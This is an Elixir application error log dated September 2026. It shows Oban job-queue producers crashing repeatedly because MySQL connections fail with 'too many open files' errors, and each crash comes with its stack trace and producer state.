** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:17:09.237374Z], limit: 10, uuid: "e391b430-9ff8-442a-9c99-cb854dec9c82", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:09.237380Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.113694>, refresh_timer: #Reference<0.2525715032.1068498948.2118>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:23.940000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:25.222000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:17:13.240765Z], limit: 20, uuid: "119c5049-6256-4a72-bedf-7c55f4a9dbf5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:13.240772Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.246076>, refresh_timer: #Reference<0.2525715032.1068498948.2142>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:17:13.240133Z], limit: 5, uuid: "995060ac-dc89-4e32-b09f-2f9404c749fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:13.240139Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.246077>, refresh_timer: #Reference<0.2525715032.1068498948.2145>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:17:13.246708Z], limit: 3, uuid: "c8cc5198-ab56-48c3-b6b0-3b0c17efcfd2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:13.246714Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.246079>, refresh_timer: #Reference<0.2525715032.1121189889.113770>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:25.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:17:13.243067Z], limit: 50, uuid: "e4c5450d-b808-4786-8cee-3d561575e44b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:13.243074Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.246078>, refresh_timer: #Reference<0.2525715032.1068498948.2151>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:25.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:17:13.249858Z], limit: 5, uuid: "2505160f-79dd-468e-9ec8-2c29a843aa7d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:13.249864Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.246075>, refresh_timer: #Reference<0.2525715032.1077411843.246067>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:25.694000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:25.803000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:29.922000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:17:21.237449Z], limit: 10, uuid: "5317d2be-a85a-41c4-b8c8-c060c9c2a85d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:21.237455Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.246289>, refresh_timer: #Reference<0.2525715032.1099431938.14723>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:35.895000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:36.963000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:17:25.239413Z], limit: 3, uuid: "2db24c3a-d96f-47a6-b46b-a525417a665c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:17:25.239419Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.246431>, refresh_timer: #Reference<0.2525715032.1068498948.2250>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
